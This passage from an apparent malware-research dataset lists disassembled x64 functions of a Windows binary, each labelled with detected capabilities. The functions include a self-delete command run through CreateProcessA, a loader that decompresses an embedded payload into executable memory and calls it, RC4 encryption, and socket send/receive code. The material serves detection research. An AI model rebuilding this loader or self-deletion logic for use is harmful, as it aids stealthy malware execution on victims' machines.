joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002290
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x140002423
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x140002423
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x140002329
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140002447
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x14000233f
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x14000233f
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140002352
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x14000239d
mov r9d, eax
cmp eax, 0x800
jae 0x14000236c
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x14000239d
cmp eax, 0x10000
jae 0x140002386
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x14000239d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x140002423
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x1400023c1
cmp r10d, 3
jae 0x1400023cd
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x1400023fe
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x1400023e0
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x1400022de
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x140002432

Function at 0x140004128
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004172
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004172
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004172
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004172
cmp dword [rcx + 0x84], 0xe
jbe 0x140004172
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004174
xor al, al
add rsp, 0x28
ret
Function at 0x140001580
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x418
mov rax, qword [0x14033e210]
xor rax, rsp
mov qword [rsp + 0x400], rax
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001668
lea rax, [rsp + 0xe0]
mov r9d, 0x19
lea r8, str.cmd__c_timeout__T__d__NOBREAK__del___s_
mov qword [rsp + 0x20], rax
mov edx, 0x208
lea rcx, [rsp + 0x1f0]
call fcn.140001440
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call sub.msvcrt.dll_memset
xor eax, eax
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x1f0]
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001668
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.1401e4950
add rsp, 0x418
ret

Function at 0x140001680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [section..textshe]
test rdi, rdi
je 0x14000174a
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000174a
mov r9d, edi
mov r8d, 0xb40a9
mov rdx, rax
lea rcx, [0x140361008]
call sym.ConsoleApplication1.exe_LZ4_decompress_safe
test eax, eax
jns 0x1400016db
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
jmp 0x14000174a
movsxd rsi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400016d0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
nop
call rdi
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000174f
mov eax, 1
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000d900
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
xor ebx, ebx
mov dword [rax - 0x38], 0x1c
mov rdi, r8
mov rsi, rdx
lea r8, [rax - 0x38]
mov r14, r9
lea rdx, [rax - 0x30]
mov word [rax - 0x30], bx
cmp dword [rsp + 0x80], ebx
je 0x14000d944
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x14000d94a
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14000d952
xor eax, eax
jmp 0x14000d9cc
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [r14], ax
lea rcx, [rsp + 0x30]
movzx eax, word [rsp + 0x28]
mov r8, rsi
movsxd r9, dword [rdi]
lea rdx, [rsp + 0x2c]
cmp eax, 2
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_inet_ntop
test rax, rax
je 0x14000d9a7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov ebx, 1
mov dword [rdi], eax
jmp 0x14000d9c5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x14000d9c5
cmp bp, 2
mov ecx, reloc.WS2_32.dll_shutdown
mov eax, 0x41
cmovne ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x14000dc30
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov rcx, rbx
lea rdx, [rsp + 0x44]
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
mov qword [rsp + 0x28], 0
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov r9d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rdi + 0x10], rax
mov rcx, rax
test rax, rax
jne 0x14000dcae
call fcn.14000bf20
jmp 0x14000dd16
test rsi, rsi
jne 0x14000dcc1
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x14000dcc5
mov qword [rdi + 8], rsi
mov rax, qword [rdi + 8]
mov r9d, ebp
mov edx, dword [rsp + 0x68]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov dword [rdi + 0x20], edx
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x14000dd14
call fcn.14000bf20
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov qword [rdi + 0x10], 0
jmp 0x14000dd16
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000dd30
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r10, rcx
mov edi, r9d
mov rcx, qword [rdx + 8]
xor eax, eax
mov rsi, r8
mov rbx, rdx
test rcx, rcx
je 0x14000dd84
mov qword [rsp + 0x38], rax
lea r9d, [rax + 1]
mov dword [rsp + 0x30], 0x80
mov r8d, 0x80000000
mov dword [rsp + 0x28], 3
mov rdx, r10
mov qword [rsp + 0x20], rax
call fcn.14000d420
jmp 0x14000ddae
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r10
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000ddcd
call fcn.14000bf20
test eax, eax
jns 0x14000ddd0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rbx], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x58], eax
cmp eax, 0xffffffff
jne 0x14000ddf0
call fcn.14000bf20
test eax, eax
js 0x14000de42
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x14000de30
cmp rax, rdi
ja 0x14000de30
mov rdx, qword [rbx]
xor r9d, r9d
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.14000dc30
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
test rax, rax
mov ecx, 0x800700df
mov edx, 0x800703ee
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000def0
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x14000df10
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x48]
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000df40
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov dword [rsp + 0x50], 1
mov rdi, rcx
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x14000df68
lea r9, [rsp + 0x50]
jmp 0x14000df72
cmp edx, 1
jne 0x14000dfbb
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14000e00e
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x14000e050
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [0x14033e210]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r8d, edx
mov qword [rsp + 0x258], rcx
mov eax, 0x10624dd3
mov qword [rsp + 0x48], rcx
mul edx
mov rbx, rcx
mov dword [rsp + 0x250], 1
shr edx, 6
lea r9, [rsp + 0x40]
imul eax, edx, 0x3e8
xor ecx, ecx
mov dword [rsp + 0x38], edx
xor edx, edx
mov dword [rsp + 0x40], 1
sub r8d, eax
imul eax, r8d, 0x3e8
lea r8, [rsp + 0x250]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x14000e0f6
jne 0x14000e0e4
mov eax, 0x5b4
jmp 0x14000e167
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x22a
cmove eax, ecx
jmp 0x14000e167
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.WS2_32.dll___WSAFDIsSet
mov rcx, rbx
test eax, eax
je 0x14000e158
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 4
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14000e142
mov ecx, dword [rsp + 0x34]
lea eax, [rcx + 1]
cmp eax, 1
ja 0x14000e154
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x22a
test eax, eax
cmove eax, ecx
mov ecx, eax
mov eax, ecx
jmp 0x14000e167
lea rdx, [rsp + 0x250]
call sub.WS2_32.dll___WSAFDIsSet
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1401e4950
add rsp, 0x470
pop rbx
ret
Function at 0x14000e800
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
mov rsi, rdx
mov rbx, rcx
test r8d, r8d
je 0x14000e88c
mov rdx, qword [rcx + 0x30]
lea r8d, [rdi + 0x30]
mov rcx, qword [rcx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14000e94a
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000e875
cmp eax, 0xffffffff
jne 0x14000e94a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14000e94a
mov edi, 1
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x28]
mov edx, 1
call fcn.14000def0
test eax, eax
jne 0x14000e95c
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov esi, eax
test eax, eax
je 0x14000e8d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
jne 0x14000e94a
cmp esi, 0xffffffff
jne 0x14000e8e8
mov edx, dword [rbx + 0x44]
mov rcx, qword [rbx + 0x28]
call fcn.14000e050
mov esi, eax
test esi, esi
jne 0x14000e942
mov rdx, qword [rbx + 0x30]
lea r8d, [rsi + 0x23]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14000e94a
mov dword [rbx + 0x70], 1
xor ecx, ecx
mov dword [rbx + 0x74], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x180]
cmp eax, 2
jne 0x14000e875
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
jmp 0x14000e944
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80004005
call fcn.14000bf40
int3

Function at 0x14000eae0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x68]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edi, edi
lea r8, [0x14000fa90]
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call sub.msvcrt.dll__beginthreadex
test rax, rax
mov qword [rbx + 0x60], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x14000eb30
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, dword [rdx + 0x30]
mov r14, r8
mov rsi, rdx
mov rdi, rcx
sub eax, dword [rdx + 0x28]
je 0x14000ebd6
nop dword [rax + rax]
mov r8d, dword [rdi + 0x48]
cmp eax, r8d
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rdi + 0x28]
cmovl r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x14000ebc9
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rdi + 0x1f0], ebp
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rdi]
mov r8d, ebp
mov rdx, qword [rsi + 0x28]
mov rcx, rdi
call qword [rax + 0x190]
mov edx, ebp
mov rcx, rsi
call fcn.14000d0e0
jmp 0x14000ebce
cmp ebp, 0xffffffff
je 0x14000ebf6
mov eax, dword [rsi + 0x30]
sub eax, dword [rsi + 0x28]
jne 0x14000eb60
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14000ec0c
mov dword [r14], 1
jmp 0x14000ebd6
mov dword [rdi + 0x20], eax
xor eax, eax
mov dword [rdi + 0x18], 1
mov dword [rdi + 0x1c], 3
mov dword [rdi + 0x24], 1
jmp 0x14000ebdb

Function at 0x14000f150
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x1f4]
mov rbx, rcx
test eax, eax
jne 0x14000f23e
nop dword [rax + rax]
mov r8d, dword [rbx + 0x48]
xor r9d, r9d
mov rdx, qword [rbx + 0x88]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x14000f1e7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rbx]
mov r8d, edi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call qword [r9 + 0x1a0]
cmp eax, 2
jne 0x14000f1f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x4c7
cmove eax, ecx
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 4
mov dword [rbx + 0x20], eax
xor eax, eax
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp edi, 0xffffffff
je 0x14000f231
test edi, edi
je 0x14000f20e
mov eax, dword [rbx + 0x1f4]
test eax, eax
je 0x14000f170
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x18], 1
xor eax, eax
mov qword [rbx + 0x1c], 5
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14000f1c2
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001f340
Capabilities:
Encode data using add xor sub operations

Disassembly:
xor eax, eax
mov r10, rcx
test rcx, rcx
je 0x14001f3ac
movzx ecx, byte [rcx]
test cl, cl
je 0x14001f3ac
mov r11d, 0x100
nop word [rax + rax]
movsx r9d, cl
lea r10, [r10 + 1]
or r9d, r11d
mov r8d, eax
mov edx, r9d
mov ecx, 0x20
shr edx, 2
add r11d, 0x100
xor edx, r9d
imul r9d, r9d
and edx, 0xf
sub ecx, edx
shr r8, cl
mov ecx, edx
mov edx, eax
mov eax, r8d
shl edx, cl
movzx ecx, byte [r10]
or eax, edx
xor eax, r9d
test cl, cl
jne 0x14001f360
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
ret

Function at 0x14001f3b0
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x20
call fcn.1401e4c70
sub rsp, rax
xor ebx, ebx
mov rdi, rcx
test rcx, rcx
je 0x14001f443
movzx eax, byte [rcx]
test al, al
je 0x14001f443
mov qword [rsp + 0x30], rsi
mov esi, 0x100
nop
movsx ecx, al
call fcn.1400336e0
mov r9d, eax
mov edx, ebx
or r9d, esi
lea rdi, [rdi + 1]
mov eax, ebx
mov r8d, r9d
shr r8d, 2
mov ecx, 0x20
xor r8d, r9d
add esi, 0x100
and r8d, 0xf
imul r9d, r9d
sub ecx, r8d
shr rdx, cl
mov ecx, r8d
shl eax, cl
mov ebx, edx
or ebx, eax
movzx eax, byte [rdi]
xor ebx, r9d
test al, al
jne 0x14001f3e0
mov rsi, qword [rsp + 0x30]
mov eax, ebx
shr eax, 0x10
xor eax, ebx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x14002fdb0
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1401e4c70
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x1400317c0
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x28
call fcn.1401e4c70
sub rsp, rax
cmp dword [0x14033ea80], 0
jne 0x14003187a
xor edx, edx
mov dword [0x14033ea80], 1
mov r8d, 0x198
lea rcx, [0x14033ea90]
call sub.msvcrt.dll_memset
mov ecx, 0x202
lea rdx, [0x14033ea90]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14003187a
call fcn.14002f680
lea r8, str.BIO_sock_init
mov edx, __WSAFDIsSet
lea rcx, str.crypto_bio_bio_sock.c
call fcn.14002f7a0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_wsastartup__
mov ecx, 2
mov edx, eax
call fcn.14002f8a0
call fcn.14002f680
lea r8, str.BIO_sock_init
mov edx, __WSAFDIsSet
lea rcx, str.crypto_bio_bio_sock.c
call fcn.14002f7a0
xor r8d, r8d
lea edx, [r8 + 0x7a]
lea ecx, [rdx - 0x5a]
call fcn.14002f8a0
mov eax, 0xffffffff
add rsp, 0x28
ret
mov eax, 1
add rsp, 0x28
ret

Function at 0x140031890
Capabilities:
Set socket configuration

Disassembly:
push rbx
mov eax, 0x20
call fcn.1401e4c70
sub rsp, rax
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
movsxd rcx, ecx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ebx, eax
test eax, eax
jns 0x1400318f2
call fcn.14002f680
lea r8, str.BIO_socket_ioctl
mov edx, 0xd1
lea rcx, str.crypto_bio_bio_sock.c
call fcn.14002f7a0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_ioctlsocket__
mov ecx, 2
mov edx, eax
call fcn.14002f8a0
xor eax, eax
test ebx, ebx
sete al
add rsp, 0x20
pop rbx
ret
Function at 0x140031900
Capabilities:
Get socket status

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x260
call fcn.1401e4c70
sub rsp, rax
mov rax, qword [0x14033e210]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov edi, ecx
mov rbx, r8
mov esi, edx
cmp ecx, 0xffffffff
jne 0x140031933
mov eax, ecx
jmp 0x140031993
test rbx, rbx
jne 0x14003193d
lea eax, [rbx + 1]
jmp 0x140031993
xor ecx, ecx
call sub.msvcrt.dll__time64
mov rcx, rax
cmp rbx, rax
jge 0x140031950
xor eax, eax
jmp 0x140031993
xor eax, eax
mov qword [rsp + 0x48], rdi
sub ebx, ecx
mov dword [rsp + 0x34], eax
test esi, esi
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x40]
mov dword [rsp + 0x30], ebx
cmovne r8, rax
lea rdx, [rsp + 0x40]
cmove rdx, rax
lea ecx, [rdi + 1]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1401e4950
add rsp, 0x260
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400326b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov eax, 0x280
call fcn.1401e4c70
sub rsp, rax
mov rax, qword [0x14033e210]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp dword [0x14033ec30], 0
lea rax, [0x140032030]
mov qword [rsp + 0x28], rax
lea rbx, [0x14026c3f0]
lea rax, str.getnameinfo
movzx ebp, cx
mov qword [rsp + 0x30], rax
lea rax, [0x140032470]
mov qword [rsp + 0x38], rax
lea rax, [0x14026c410]
mov qword [rsp + 0x40], rax
lea rax, [0x140031fd0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], rbx
jne 0x140032889
mov edx, 0x104
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x14003287f
lea r8, [rsp + 0x160]
mov qword [rsp + 0x290], rsi
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll_strcpy_s
lea r8, str.ws2_32
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll_strcat_s
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400327aa
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14003280a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r8, [rsp + 0x160]
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll_strcpy_s
lea r8, str.wship6
mov edx, 0x10c
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll_strcat_s
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140032877
mov rdx, rbx
mov rcx, rax
